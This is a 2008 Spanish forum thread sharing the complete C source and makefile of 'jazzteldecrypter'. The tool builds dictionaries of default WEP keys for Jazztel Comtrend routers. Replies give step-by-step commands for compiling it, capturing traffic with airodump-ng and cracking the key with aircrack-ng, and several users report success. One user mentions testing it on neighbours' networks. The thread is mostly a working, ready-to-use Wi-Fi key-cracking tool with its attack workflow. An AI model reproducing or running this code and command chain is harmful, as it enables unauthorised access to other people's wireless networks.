?>/script>'; } ?> jazzteldecrypter - Generador de diccionarios redes Jazztel_XX Widgets Magazine

Autor Tema: jazzteldecrypter - Generador de diccionarios redes Jazztel_XX  (Leído 159663 veces)

0 Usuarios y 1 Visitante están viendo este tema.

buckynet

  • Visitante
JAZZTELDECRYPTER 0.2

Nuevo patrón de claves: E64680CxxxxXX

USO

   uso: jazzteldecrypter [-l] <bssid> <essid> [output_file opciOn]
  

      -l : lista en pantalla todos los routers conocidos (sólo hay uno : )

   opciOn:

      -e : genera diccionario experimental para routers desconocidos
      
      -a : genera diccionario con todos los routers conocidos y una JAZZTEL_XX
  
  
   <essid> = JAZZTEL_??, para crear diccionario con todas las posibilidades. ESSID cambiados.


Más info -> README.txt



JAZZTELDECRYPTER 0.2.1

Cambios: Genera diccionarios colocando todas las claves con patrón E001D20 primero y las claves tipo E64680C después, en lugar de ir entrelazados como en la versión anterior, para ganar velocidad con wlanreaver ya que el primer patrón es mucho más probable que el segundo.

Descarga:

Linux -> http://www.box.net/shared/rsbhautkoy

-----------------------------------------------------------------------------------------------------

Muy guenas a tod@s !!

Metiendo la pata sin permiso en el codigo C de wlandecrypter, original de Nilp0inteR. He modificado el programa para obtener por diccionario la clave WEP de los ESSID tipo JAZZTEL_xx con BSSID tipo 00:1A:2B y como minimo solo 5 IVS.

jazzteldecrypter.c
Código: [Seleccionar]
/*****************************************************************************
* Fichero: jazzteldecrypter.c
* Fecha: 23-03-2006
* Autor: Nilp0inteR (nilp0inter2k6[at]gmail[dot]com)
* Actualizado: 2008 buckynet
*
* Descripcion: Generador de diccionario de claves por defecto para los
* router de Jazztel Comtrend.
*
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
*
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*
*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//
// Numero de modelos de routers en la base de datos
//
#define MAXROUTER 12
#define MAXINDEX 1
#define VERSION 0
#define SUBVERSION 0

//
// Tipo de dato Router, con toda la informacion
//
typedef struct Router
{
char bssid[9];
char init[MAXINDEX][8];
char notas[30];
} tRouter;

//
// Variables globales
//
char hex[16]="0123456789ABCDEF";

//
// Funciones
//
void initRouters(tRouter routers[MAXROUTER]);
void datosRouters(tRouter routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(tRouter routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd);

//
// MAIN !!!
//
int main(int argc, char *argv[])
{
int bssidId, i;
int validHex=0;
char endKey[2];
tRouter routers[MAXROUTER];
FILE *fichero;

if(argc<3 || argc>4)
{
muestraAyuda();
return 1;
}

fprintf(stderr, "\njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6\n", VERSION, SUBVERSION);

if(strlen(argv[1])!=17)
{
fprintf(stderr," [-] Longitud de BSSID invalida\n");
return 1;
}

initRouters(routers);
datosRouters(routers);


bssidId=buscaBssid(routers, argv[1]);

if(bssidId==-1)
{
fprintf(stderr, " [-] BSSID no encontrado\n");
return 1;
}
else
{
fprintf(stderr, " [+] BSSID: %s\n"
" [+] Modelo: %s\n", argv[1], routers[bssidId].notas);

for(i=0;i<strlen(argv[2]);i++)
argv[2][i]=toupper(argv[2][i]);

if(strlen(argv[2]) != 10 || strncmp("JAZZTEL_", argv[2], 8) != 0 )
{
fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
return 1;
}
else
{
for(i=0;i<strlen(hex);i++)
{
if(argv[2][8]==hex[i])
{
validHex++;
break;
}
}
for(i=0;i<strlen(hex);i++)
{
if(argv[2][9]==hex[i])
{
validHex++;
break;
}
}

if(validHex!=2)
{
fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
return 1;
}
else
{
endKey[0]=argv[2][8];
endKey[1]=argv[2][9];

fprintf(stderr," [+] ESSID: %s\n", argv[2]);

if(argc>3) // Fichero
{

fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
fichero=fopen(argv[3], "a+");
if(fichero!=NULL)
{
imprimeClaves(fichero,routers,bssidId,endKey);
fclose(fichero);
fprintf(stderr, " [+] Fichero guardado\n");
}
else
{
fprintf(stderr," [-] Error al abrir el fichero\n");
return 1;
}
}
else
{
fprintf(stderr," [+] Seleccionada salida estandar\n");
imprimeClaves(stdout,routers,bssidId,endKey);
}
}
}

}

return 0;
}

//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
int i,j;
for(j=0;j<MAXROUTER;j++)
{
strcpy(routers[j].bssid,"");
for(i=0;i<5;i++)
strcpy(routers[j].init[i],"");
strcpy(routers[j].notas,"");
}
}

//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{
int i =0;
// Comtrend
strcpy(routers[i].bssid,"00:1A:2B\0");
strcpy(routers[i].init[0],"E001D20\0");
strcpy(routers[i].notas,"Comtrend\0");
i++;
}

//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
fprintf(stderr, "\njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6\n", VERSION, SUBVERSION);

fprintf(stderr, "  uso: jazzteldecrypter <bssid> <essid> [output file]\n\n");
}

//
// Busca el bssid en la estructura y devuelve el identificador o
//  -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
int i;

for(i=0;i<strlen(bssid);i++)
bssid[i]=toupper(bssid[i]);

for(i=0;i<MAXROUTER;i++)
{
if(strncmp ( routers[i].bssid, bssid, 8 ) == 0)
return i;
}

return -1;
}

//
// Imprime las claves en un fichero
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
int i,j,k,l,index=0;

while(index<MAXINDEX && strcmp(routers[bssidId].init[index], ""))
{
       for(i=0;i<16;i++)
               for(j=0;j<16;j++)
                       for(k=0;k<16;k++)
                               for(l=0;l<16;l++)
                               {
fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
                               }
index++;
}

}

make
Código: [Seleccionar]
CC = gcc
CFLAGS          = -g -O2
OPTFLAGS        = -D_FILE_OFFSET_BITS=64

prefix          = /usr
sbindir = $(prefix)/sbin

DESTDIR         =
SBINFILES       = jazzteldecrypter

all: jazzteldecrypter

jazzteldecrypter: jazzteldecrypter.c
$(CC) $(CFLAGS) $(OPTFLAGS) jazzteldecrypter.c -o jazzteldecrypter

install:
install -d $(DESTDIR)$(sbindir)
install -m 755 $(SBINFILES) $(DESTDIR)$(sbindir)

uninstall:
rm -f $(DESTDIR)$(sbindir)/jazzteldecrypter


clean:
rm -f jazzteldecrypter

Instalacion:
Código: [Seleccionar]
make clean && make && make install

Uso:
Código: [Seleccionar]
jazzteldecrypter <bssid> <essid> [output file]

Ejemplo:
Código: [Seleccionar]
jazzteldecrypter 00:11:22:33:44:55 JAZZTEL_XX diccionario.txt
aircrack-ng -b 00:11:22:33:44:55 -w diccionario.txt captura.cap

Tambien los scripts de airoscript y airoway tienen una opcion mas

Un saludo.

PD: Como siempre, en algo, habre metido la pata.


Descargalo
http://www.fileden.com/files/2008/10/11/2138272/jazzteldecrypter.c
« Última modificación: 12-02-2017, 00:17 (Domingo) por Vodker »

*dudux

  • Visitante
Re: jazzteldecrypter
« Respuesta #1 en: 09-10-2008, 15:24 (Jueves) »
lo has testeado?
o debemos de probarlo?
lo empaquetamos en un tar.gz?
« Última modificación: 09-10-2008, 15:36 (Jueves) por *dudux »

buckynet

  • Visitante
Re: jazzteldecrypter
« Respuesta #2 en: 09-10-2008, 16:06 (Jueves) »
Muy guenas a tod@s !!

Por supuesto que ha sido testado con mis vecinos jazzteles cercanos, con su permiso.  ;D

Funciona sin problemas para el ESSID tipo JAZZTEL_xx con BSSID tipo 00:1A:2B, hasta los tengo integrado en el menu de airoscript y airoway.

La forma tar.gz es la mas usada, pero eso lo dejo para cada uno. Si es tu deseo, por comodidad, pues adelante.

Un saludo.

PD: Como siempre, en algo, habre metido la pata.

venturi

  • Visitante
Re: jazzteldecrypter
« Respuesta #3 en: 09-10-2008, 19:09 (Jueves) »
tengo jazztel , y me encantaria probarlo , como se instala en wifislax 3.1? , he copiado el codigo y lo he guardado en un archivo de txt , uno como jazzteldecrypter.c , que ha quedado con la extencion .c y el make , que ha quedado make , lo he guardado en /root/ los dos archivos y luego he abierto una shell , y he puesto el wifislax ~ # make clean && make && make install
y el resultado es este make: *** No rule to make target `clean'.  Stop.
como seguro veis , no soy nada entendido en linux , vengo del windows y voy bastante perdido, os agradezco la ayuda que me podais brindar , gracias amigos por iluminarme  ;)

*dudux

  • Visitante
Re: jazzteldecrypter
« Respuesta #4 en: 09-10-2008, 20:47 (Jueves) »
Citar
La forma tar.gz es la mas usada, pero eso lo dejo para cada uno. Si es tu deseo, por comodidad, pues adelante.

tienes razon que cada uno haga lo que quira con el codigo
la verdad que nunca vi ninguna de estas redes,

ChimoC

  • Visitante
Re: jazzteldecrypter
« Respuesta #5 en: 10-10-2008, 19:35 (Viernes) »
Buenas:

venturi

Abres una shell:

gcc jazzteldecrypter.c -o jazzteldecrypter

Ahora verás que te ha creado un nuevo archivo, y en la shell escribes

./jazzteldecrypter BSSID JAZZTEL_XX diccionario.txt

Un saludo

ChimoC

*dudux

  • Visitante
Re: jazzteldecrypter
« Respuesta #6 en: 10-10-2008, 20:52 (Viernes) »
Buenas:

venturi

Abres una shell:

gcc jazzteldecrypter.c -o jazzteldecrypter

Ahora verás que te ha creado un nuevo archivo, y en la shell escribes

./jazzteldecrypter BSSID JAZZTEL_XX diccionario.txt

Un saludo

ChimoC



Abres una shell:

Código: [Seleccionar]
gcc jazzteldecrypter.c -o jazzteldecrypter

cp jazzteldecrypter /usr/bin/

jazzteldecrypter BSSID JAZZTEL_XX diccionario.txt

airodump-ng -w jazztel -c 6 ath0

aircrack-ng -b BSSID -w diccionario.txt capturacon5ivs.ivs
« Última modificación: 12-10-2008, 14:49 (Domingo) por *dudux »

venturi

  • Visitante
Re: jazzteldecrypter
« Respuesta #7 en: 11-10-2008, 09:34 (Sábado) »
Buenas:

venturi

Abres una shell:

gcc jazzteldecrypter.c -o jazzteldecrypter

Ahora verás que te ha creado un nuevo archivo, y en la shell escribes

./jazzteldecrypter BSSID JAZZTEL_XX diccionario.txt

Un saludo

ChimoC



Abres una shell:

Código: [Seleccionar]
gcc jazzteldecrypter.c -o jazzteldecrypter

cp jazzteldecrypter /urs/bin/

jazzteldecrypter BSSID JAZZTEL_XX diccionario.txt

airodump-ng -w jazztel -c 6 ath0

aircrack-ng -b BSSID -w diccionario.txt capturacon5ivs.ivs
muchisimas gracias a los dos, he hecho lo que me ha dicho ChimoC y me a funcionado perfectamente , luego provare los comandos que me escrives tu dudux , una pregunta , que es lo que cambia?. y de nuevo GRACIAS  a los dos.
P.D. , ya he provado con los comandos tuyos dudux , y por lo que he visto , asi se instala para no tener que poner el ./  por cierto es: cp jazzteldecrypter /usr/bin/ , gracias de nuevo  ;)
« Última modificación: 11-10-2008, 14:55 (Sábado) por venturi »

Desconectado Hwagm

  • Administrador
  • *
  • Mensajes: 18287
Re: jazzteldecrypter
« Respuesta #8 en: 12-10-2008, 01:41 (Domingo) »
añadido pues a los airoscript + su lanzador tipico al igual que los demas

Desconectado Hwagm

  • Administrador
  • *
  • Mensajes: 18287
Re: jazzteldecrypter
« Respuesta #9 en: 13-10-2008, 19:58 (Lunes) »
lo he probado y funciona perfectamente, ademas para rizar el rizo, con una iwp3945 con los iwlwifi que no los iwpraw , en ausencia de cliente con A1, y logicamente integrado en los nuevos airoscripts

ChimoC

  • Visitante
Re: jazzteldecrypter
« Respuesta #10 en: 13-10-2008, 21:51 (Lunes) »
Buenas:

Solo queda agradecer públicamente a buckynet el haberlo compartido con la familia  >:(

Un saludo

ChimoC

ironjon

  • Visitante
Re: jazzteldecrypter
« Respuesta #11 en: 14-10-2008, 22:26 (Martes) »
instalado ok en ubuntu 7.10  ;D

falta buscar un voluntario para probarlo  8)


Muchas gracias!!!!

venturi

  • Visitante
Re: jazzteldecrypter
« Respuesta #12 en: 16-10-2008, 06:54 (Jueves) »
provado y funciona perfectamente , Gracias por compartirlo esta genial! >:(

ironjon

  • Visitante
Re: jazzteldecrypter
« Respuesta #13 en: 17-10-2008, 15:12 (Viernes) »
probado y funcionando  >:( >:(

Gracias  ;D

Barny

  • Visitante
Re: jazzteldecrypter
« Respuesta #14 en: 18-10-2008, 11:50 (Sábado) »
Hola a todos!!

Tengo una pregunta un tanto simple, pero es que no se como realizar el "make", el archivo jazzteldecrypter.c ya logre crearlo, pero ni idea de como hacer el make o q extension darle al archivo. Gracias y perdonad por el desconocimiento. ;)

chinitiw

  • Visitante
Re: jazzteldecrypter
« Respuesta #15 en: 18-10-2008, 12:15 (Sábado) »
Buenas:

venturi

Abres una shell:

gcc jazzteldecrypter.c -o jazzteldecrypter

Ahora verás que te ha creado un nuevo archivo, y en la shell escribes

./jazzteldecrypter BSSID JAZZTEL_XX diccionario.txt

Un saludo

ChimoC



Abres una shell:

Código: [Seleccionar]
gcc jazzteldecrypter.c -o jazzteldecrypter

cp jazzteldecrypter /usr/bin/

jazzteldecrypter BSSID JAZZTEL_XX diccionario.txt

airodump-ng -w jazztel -c 6 ath0

aircrack-ng -b BSSID -w diccionario.txt capturacon5ivs.ivs

kumek0

  • Visitante
Re: jazzteldecrypter
« Respuesta #16 en: 19-10-2008, 10:25 (Domingo) »
Hola a todos.He estado repasando el trabajito de buckynet.Me parece estupendo que investigando por tu ceunta y riesgo hayas dado con otra aplicación más para este mundillo.
Recordando vagamente mis conocimientos en C .... tengo una pregunta para ti buckynet...

Según el código ... no te parece que tambien es valido para Windows ? ??? Creo que es una libreria "unisex" ,no ? ??? Tendré que copiarlo y meterlo al WlanDecrypter en Windows ,a ver si furrula.
Saludos a todo el foro.

ChimoC

  • Visitante
Re: jazzteldecrypter
« Respuesta #17 en: 19-10-2008, 12:51 (Domingo) »
BUenas:

Pues ya sabes...a currar y a publicarlo aqui....para la famiiiiiilia  ^-^

Un saludo

ChimoC

gillbert

  • Visitante
Re: jazzteldecrypter
« Respuesta #18 en: 22-10-2008, 19:05 (Miércoles) »
Hola buenas.

He intentado instalarlo y creado el archvivo jazzteldecrypter.c y make, con el editor vi

-rwxrwxrwx 1 root root  jazzteldecrypter.c*
-rwxrwxrwx 1 root root  make*

pero me sale el siguiente el error:

wifislax ~ # gcc jazzteldecrypter.c -o jazzteldecrypter

jazzteldecrypter.c:2: error: syntax error before ':' token
In file included from /usr/include/_G_config.h:44,
                 from /usr/include/libio.h:32,
                 from /usr/include/stdio.h:72,
                 from jazzteldecrypter.c:16:
/usr/include/gconv.h:72: error: syntax error before "size_t"
/usr/include/gconv.h:88: error: syntax error before "size_t"
/usr/include/gconv.h:97: error: syntax error before "size_t"
/usr/include/gconv.h:174: error: syntax error before "size_t"
/usr/include/gconv.h:177: error: syntax error before '}' token
In file included from /usr/include/libio.h:32,
                 from /usr/include/stdio.h:72,
                 from jazzteldecrypter.c:16:
/usr/include/_G_config.h:47: error: field `__cd' has incomplete type
/usr/include/_G_config.h:50: error: field `__cd' has incomplete type
In file included from /usr/include/stdio.h:72,
                 from jazzteldecrypter.c:16:
/usr/include/libio.h:354: error: syntax error before "size_t"
/usr/include/libio.h:363: error: syntax error before "size_t"
/usr/include/libio.h:479: error: syntax error before "_IO_sgetn"
/usr/include/libio.h:479: error: syntax error before "size_t"
In file included from jazzteldecrypter.c:16:
/usr/include/stdio.h:302: error: syntax error before "size_t"
/usr/include/stdio.h:309: error: syntax error before "size_t"
/usr/include/stdio.h:351: error: syntax error before "size_t"
/usr/include/stdio.h:355: error: syntax error before "size_t"
/usr/include/stdio.h:603: error: syntax error before "fread"
/usr/include/stdio.h:603: error: syntax error before "size_t"
/usr/include/stdio.h:609: error: syntax error before "fwrite"
/usr/include/stdio.h:609: error: syntax error before "size_t"
/usr/include/stdio.h:631: error: syntax error before "fread_unlocked"
/usr/include/stdio.h:631: error: syntax error before "size_t"
/usr/include/stdio.h:633: error: syntax error before "fwrite_unlocked"
/usr/include/stdio.h:633: error: syntax error before "size_t"
In file included from jazzteldecrypter.c:17:
/usr/include/stdlib.h:140: error: syntax error before "__ctype_get_mb_cur_max"
In file included from /usr/include/sys/types.h:266,
                 from /usr/include/stdlib.h:433,
                 from jazzteldecrypter.c:17:
/usr/include/bits/pthreadtypes.h:48: error: syntax error before "size_t"
/usr/include/bits/pthreadtypes.h:51: error: syntax error before "__stacksize"
In file included from jazzteldecrypter.c:17:
/usr/include/stdlib.h:450: error: syntax error before "size_t"
/usr/include/stdlib.h:480: error: syntax error before "size_t"
/usr/include/stdlib.h:584: error: syntax error before "__size"
/usr/include/stdlib.h:586: error: syntax error before "__nmemb"
/usr/include/stdlib.h:595: error: syntax error before "size_t"
In file included from /usr/include/stdlib.h:606,
                 from jazzteldecrypter.c:17:
/usr/include/alloca.h:33: error: syntax error before "__size"
In file included from jazzteldecrypter.c:17:
/usr/include/stdlib.h:611: error: syntax error before "__size"
/usr/include/stdlib.h:768: error: syntax error before "size_t"
/usr/include/stdlib.h:773: error: syntax error before "size_t"
/usr/include/stdlib.h:846: error: syntax error before "size_t"
/usr/include/stdlib.h:849: error: syntax error before "size_t"
/usr/include/stdlib.h:853: error: syntax error before "size_t"
/usr/include/stdlib.h:857: error: syntax error before "size_t"
/usr/include/stdlib.h:866: error: syntax error before "size_t"
/usr/include/stdlib.h:870: error: syntax error before "size_t"
/usr/include/stdlib.h:877: error: syntax error before "mbstowcs"
/usr/include/stdlib.h:878: error: syntax error before "size_t"
/usr/include/stdlib.h:880: error: syntax error before "wcstombs"
/usr/include/stdlib.h:881: error: syntax error before "size_t"
In file included from jazzteldecrypter.c:18:
/usr/include/string.h:39: error: syntax error before "size_t"
/usr/include/string.h:43: error: syntax error before "size_t"
/usr/include/string.h:52: error: syntax error before "size_t"
/usr/include/string.h:59: error: syntax error before "size_t"
/usr/include/string.h:62: error: syntax error before "size_t"
/usr/include/string.h:66: error: syntax error before "size_t"
/usr/include/string.h:88: error: syntax error before "size_t"
/usr/include/string.h:96: error: syntax error before "size_t"
/usr/include/string.h:102: error: syntax error before "size_t"
/usr/include/string.h:109: error: syntax error before "strxfrm"
/usr/include/string.h:110: error: syntax error before "size_t"
/usr/include/string.h:184: error: syntax error before "strcspn"
/usr/include/string.h:188: error: syntax error before "strspn"
/usr/include/string.h:242: error: syntax error before "strlen"
/usr/include/string.h:281: error: syntax error before "size_t"
/usr/include/string.h:288: error: syntax error before "size_t"
/usr/include/string.h:292: error: syntax error before "size_t"
/usr/include/string.h:296: error: syntax error before "size_t"
/usr/include/string.h:299: error: syntax error before "size_t"
/usr/include/string.h:329: error: syntax error before "size_t"
/usr/include/gconv.h:176: warning: array '__data' assumed to have one element


alguien sabe xq puede ser?


muchas gracias
 
y felicidades por el programa, q seguro q funciona aunqe yo no sepa como....




*dudux

  • Visitante
Re: jazzteldecrypter
« Respuesta #19 en: 22-10-2008, 19:15 (Miércoles) »
Hola buenas.

He intentado instalarlo y creado el archvivo jazzteldecrypter.c y make, con el editor vi

-rwxrwxrwx 1 root root  jazzteldecrypter.c*
-rwxrwxrwx 1 root root  make*

pero me sale el siguiente el error:

wifislax ~ # gcc jazzteldecrypter.c -o jazzteldecrypter

jazzteldecrypter.c:2: error: syntax error before ':' token
In file included from /usr/include/_G_config.h:44,
                 from /usr/include/libio.h:32,
                 from /usr/include/stdio.h:72,
                 from jazzteldecrypter.c:16:
/usr/include/gconv.h:72: error: syntax error before "size_t"
/usr/include/gconv.h:88: error: syntax error before "size_t"
/usr/include/gconv.h:97: error: syntax error before "size_t"
/usr/include/gconv.h:174: error: syntax error before "size_t"
/usr/include/gconv.h:177: error: syntax error before '}' token
In file included from /usr/include/libio.h:32,
                 from /usr/include/stdio.h:72,
                 from jazzteldecrypter.c:16:
/usr/include/_G_config.h:47: error: field `__cd' has incomplete type
/usr/include/_G_config.h:50: error: field `__cd' has incomplete type
In file included from /usr/include/stdio.h:72,
                 from jazzteldecrypter.c:16:
/usr/include/libio.h:354: error: syntax error before "size_t"
/usr/include/libio.h:363: error: syntax error before "size_t"
/usr/include/libio.h:479: error: syntax error before "_IO_sgetn"
/usr/include/libio.h:479: error: syntax error before "size_t"
In file included from jazzteldecrypter.c:16:
/usr/include/stdio.h:302: error: syntax error before "size_t"
/usr/include/stdio.h:309: error: syntax error before "size_t"
/usr/include/stdio.h:351: error: syntax error before "size_t"
/usr/include/stdio.h:355: error: syntax error before "size_t"
/usr/include/stdio.h:603: error: syntax error before "fread"
/usr/include/stdio.h:603: error: syntax error before "size_t"
/usr/include/stdio.h:609: error: syntax error before "fwrite"
/usr/include/stdio.h:609: error: syntax error before "size_t"
/usr/include/stdio.h:631: error: syntax error before "fread_unlocked"
/usr/include/stdio.h:631: error: syntax error before "size_t"
/usr/include/stdio.h:633: error: syntax error before "fwrite_unlocked"
/usr/include/stdio.h:633: error: syntax error before "size_t"
In file included from jazzteldecrypter.c:17:
/usr/include/stdlib.h:140: error: syntax error before "__ctype_get_mb_cur_max"
In file included from /usr/include/sys/types.h:266,
                 from /usr/include/stdlib.h:433,
                 from jazzteldecrypter.c:17:
/usr/include/bits/pthreadtypes.h:48: error: syntax error before "size_t"
/usr/include/bits/pthreadtypes.h:51: error: syntax error before "__stacksize"
In file included from jazzteldecrypter.c:17:
/usr/include/stdlib.h:450: error: syntax error before "size_t"
/usr/include/stdlib.h:480: error: syntax error before "size_t"
/usr/include/stdlib.h:584: error: syntax error before "__size"
/usr/include/stdlib.h:586: error: syntax error before "__nmemb"
/usr/include/stdlib.h:595: error: syntax error before "size_t"
In file included from /usr/include/stdlib.h:606,
                 from jazzteldecrypter.c:17:
/usr/include/alloca.h:33: error: syntax error before "__size"
In file included from jazzteldecrypter.c:17:
/usr/include/stdlib.h:611: error: syntax error before "__size"
/usr/include/stdlib.h:768: error: syntax error before "size_t"
/usr/include/stdlib.h:773: error: syntax error before "size_t"
/usr/include/stdlib.h:846: error: syntax error before "size_t"
/usr/include/stdlib.h:849: error: syntax error before "size_t"
/usr/include/stdlib.h:853: error: syntax error before "size_t"
/usr/include/stdlib.h:857: error: syntax error before "size_t"
/usr/include/stdlib.h:866: error: syntax error before "size_t"
/usr/include/stdlib.h:870: error: syntax error before "size_t"
/usr/include/stdlib.h:877: error: syntax error before "mbstowcs"
/usr/include/stdlib.h:878: error: syntax error before "size_t"
/usr/include/stdlib.h:880: error: syntax error before "wcstombs"
/usr/include/stdlib.h:881: error: syntax error before "size_t"
In file included from jazzteldecrypter.c:18:
/usr/include/string.h:39: error: syntax error before "size_t"
/usr/include/string.h:43: error: syntax error before "size_t"
/usr/include/string.h:52: error: syntax error before "size_t"
/usr/include/string.h:59: error: syntax error before "size_t"
/usr/include/string.h:62: error: syntax error before "size_t"
/usr/include/string.h:66: error: syntax error before "size_t"
/usr/include/string.h:88: error: syntax error before "size_t"
/usr/include/string.h:96: error: syntax error before "size_t"
/usr/include/string.h:102: error: syntax error before "size_t"
/usr/include/string.h:109: error: syntax error before "strxfrm"
/usr/include/string.h:110: error: syntax error before "size_t"
/usr/include/string.h:184: error: syntax error before "strcspn"
/usr/include/string.h:188: error: syntax error before "strspn"
/usr/include/string.h:242: error: syntax error before "strlen"
/usr/include/string.h:281: error: syntax error before "size_t"
/usr/include/string.h:288: error: syntax error before "size_t"
/usr/include/string.h:292: error: syntax error before "size_t"
/usr/include/string.h:296: error: syntax error before "size_t"
/usr/include/string.h:299: error: syntax error before "size_t"
/usr/include/string.h:329: error: syntax error before "size_t"
/usr/include/gconv.h:176: warning: array '__data' assumed to have one element


alguien sabe xq puede ser?


muchas gracias
 
y felicidades por el programa, q seguro q funciona aunqe yo no sepa como....





no te compliqyues .solo con el .c

Código: [Seleccionar]
gcc jazzteldecrypter.c -o jazzteldecrypter

cp jazzteldecrypter /usr/bin/

jazzteldecrypter BSSID JAZZTEL_XX diccionario.txt

airodump-ng -w jazztel -c 6 ath0

aircrack-ng -b BSSID -w diccionario.txt capturacon5ivs.ivs